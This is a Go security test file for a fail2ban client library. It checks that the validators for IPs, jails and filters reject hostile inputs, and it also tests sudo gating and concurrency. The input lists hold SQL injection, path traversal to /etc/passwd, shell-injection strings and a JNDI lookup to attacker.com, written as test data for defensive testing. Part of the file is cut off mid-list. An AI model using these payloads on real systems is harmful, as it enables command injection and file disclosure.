package main import ( "os" "path/filepath" "strings" "testing" "github.com/ivuorinen/f2b/fail2ban" ) // testIPValidation tests IP address validation security func testIPValidation(t *testing.T) { // Test malicious IP patterns maliciousIPs := []string{ "'; DROP TABLE users; --", "../../../etc/passwd", "\x00192.168.1.1", "192.168.1.1\x00", "192.168.1.1'; cat /etc/passwd", "${jndi:ldap://attacker.com/a}", "", "192.168.1.999", // Invalid range "256.256.256.256", // Invalid range "192.168.1.1/24", // CIDR notation should be rejected "192.168.1.1:8080", // Port should be rejected } for _, maliciousIP := range maliciousIPs { err := fail2ban.ValidateIP(maliciousIP) if err == nil { t.Errorf("ValidateIP should reject malicious input: %s", maliciousIP) } } // Test legitimate IPs legitimateIPs := []string{ "192.168.1.1", "10.0.0.1", "172.16.0.1", "127.0.0.1", "2001:db8::1", "::1", } for _, ip := range legitimateIPs { err := fail2ban.ValidateIP(ip) if err != nil { t.Errorf("ValidateIP should accept legitimate IP: %s, error: %v", ip, err) } } } // testJailValidation tests jail name validation security func testJailValidation(t *testing.T) { // Test malicious jail patterns maliciousJails := []string{ "'; DROP TABLE jails; --", "../../../etc/passwd", "\x00sshd", "sshd\x00", "sshd'; cat /etc/passwd", "sshd\n\nmalicious_command", "sshd\r\nmalicious_command", "sshd`cat /etc/passwd`", "sshd$(cat /etc/passwd)", "sshd;cat /etc/passwd", "sshd|cat /etc/passwd", "sshd&cat /etc/passwd", } for _, maliciousJail := range maliciousJails { err := fail2ban.ValidateJail(maliciousJail) if err == nil { t.Errorf("ValidateJail should reject malicious input: %s", maliciousJail) } } // Test legitimate jails legitimateJails := []string{ "sshd", "nginx", "apache", "postfix", "dovecot", "sshd-ddos", "ssh_custom", } for _, jail := range legitimateJails { err := fail2ban.ValidateJail(jail) if err != nil { t.Errorf("ValidateJail should accept legitimate jail: %s, error: %v", jail, err) } } } // testFilterValidation tests filter validation security func testFilterValidation(t *testing.T) { // Test malicious filter patterns maliciousFilters := []string{ "'; DROP TABLE filters; --", "../../../etc/passwd", "\x00sshd", "sshd\x00", "sshd'; cat /etc/passwd", "sshd`cat /etc/passwd`", "sshd$(cat /etc/passwd)", "sshd;cat /etc/passwd", "sshd|cat /etc/passwd", "sshd&cat /etc/passwd", // Additional command injection patterns "filter`DANGEROUS_COMMAND`", // backtick execution "filter$(DANGEROUS_COMMAND)", // command substitution "filter${USER}", // variable expansion (safe) "filter;DANGEROUS_RM_COMMAND", // command chaining "filter|DANGEROUS_COMMAND", // pipe to command "filter&& DANGEROUS_COMMAND", // logical AND "filter||DANGEROUS_COMMAND", // logical OR "filter>DANGEROUS_OUTPUT_FILE", // output redirection "filter 200 { t.Errorf("Error message is too verbose (>200 chars): %s", errorMsg) } }) } }) } // TestSecurityAudit_PrivilegeEscalation tests for privilege escalation vulnerabilities func TestSecurityAudit_PrivilegeEscalation(t *testing.T) { t.Run("SudoValidation", func(t *testing.T) { // Test with unprivileged user _, cleanup := fail2ban.SetupMockEnvironmentWithSudo(t, false) defer cleanup() // Get the mock runner set up by the environment mockRunner := fail2ban.GetRunner().(*fail2ban.MockRunner) // Test that sudo-requiring operations are properly gated testCases := []string{ "fail2ban-client status", "fail2ban-client get sshd banip", "fail2ban-client set sshd banip 192.168.1.1", } for _, cmd := range testCases { parts := strings.Fields(cmd) _, err := mockRunner.CombinedOutputWithSudo(parts[0], parts[1:]...) // Should not execute or should handle gracefully t.Logf("Sudo command handling for %s: %v", cmd, err) } }) t.Run("RootPrivilegeDetection", func(t *testing.T) { // Test with root privileges _, cleanup := fail2ban.SetupMockEnvironmentWithSudo(t, true) defer cleanup() checker := fail2ban.GetSudoChecker() if !checker.HasSudoPrivileges() { t.Error("Mock sudo checker should report having privileges") } }) } // TestSecurityAudit_ConcurrentSafety tests for concurrent safety vulnerabilities func TestSecurityAudit_ConcurrentSafety(t *testing.T) { t.Run("GlobalStateRaceConditions", func(_ *testing.T) { // Test that global state modifications are safe originalLogDir := fail2ban.GetLogDir() defer fail2ban.SetLogDir(originalLogDir) // Multiple goroutines modifying global state should not cause races // This is tested by running with -race flag in CI for i := 0; i < 10; i++ { go func(id int) { fail2ban.SetLogDir("/tmp/test-" + string(rune(id))) fail2ban.GetLogDir() }(i) } }) t.Run("CacheStatisticsSafety", func(_ *testing.T) { processor := fail2ban.NewOptimizedLogProcessor() // Multiple goroutines accessing cache statistics should be safe for i := 0; i < 10; i++ { go func() { processor.GetCacheStats() processor.ClearCaches() }() } }) } // testSecurityChainValidation tests the complete security validation chain func testSecurityChainValidation(t *testing.T, jail, ip string, shouldPass, testJail, testIP bool) { t.Helper() // Validate jail if we should test it if testJail { err := fail2ban.ValidateJail(jail) if shouldPass && err != nil { t.Errorf("Legitimate jail should pass: %v", err) } if !shouldPass && err == nil { t.Errorf("Malicious jail should be rejected") } } // Validate IP if we should test it if testIP { err := fail2ban.ValidateIP(ip) if shouldPass && err != nil { t.Errorf("Legitimate IP should pass: %v", err) } if !shouldPass && err == nil { t.Errorf("Malicious IP should be rejected") } } // Test end-to-end log reading (only for legitimate cases) if shouldPass { _, err := fail2ban.GetLogLines(jail, ip) if err != nil { t.Errorf("Legitimate log reading should succeed: %v", err) } } } // TestSecurityAudit_Integration performs integration-level security testing func TestSecurityAudit_Integration(t *testing.T) { tempDir := t.TempDir() originalLogDir := fail2ban.GetLogDir() fail2ban.SetLogDir(tempDir) defer fail2ban.SetLogDir(originalLogDir) t.Run("EndToEndSecurityChain", func(t *testing.T) { // Create test log file logFile := filepath.Join(tempDir, "fail2ban.log") content := "2024-01-01 12:00:00,123 fail2ban.actions [1234]: NOTICE [sshd] Ban 192.168.1.100\n" err := os.WriteFile(logFile, []byte(content), 0600) if err != nil { t.Fatalf("Failed to create test log file: %v", err) } // Test complete security chain: input validation -> path validation -> file access testCases := []struct { name string jail string ip string shouldPass bool testJail bool testIP bool }{ {"Legitimate", "sshd", "192.168.1.100", true, true, true}, {"MaliciousJail", "sshd'; cat /etc/passwd", "192.168.1.100", false, true, false}, {"MaliciousIP", "sshd", "'; cat /etc/passwd", false, false, true}, {"PathTraversal", "../../../etc/passwd", "192.168.1.100", false, true, false}, } for _, tc := range testCases { t.Run(tc.name, func(t *testing.T) { testSecurityChainValidation(t, tc.jail, tc.ip, tc.shouldPass, tc.testJail, tc.testIP) }) } }) }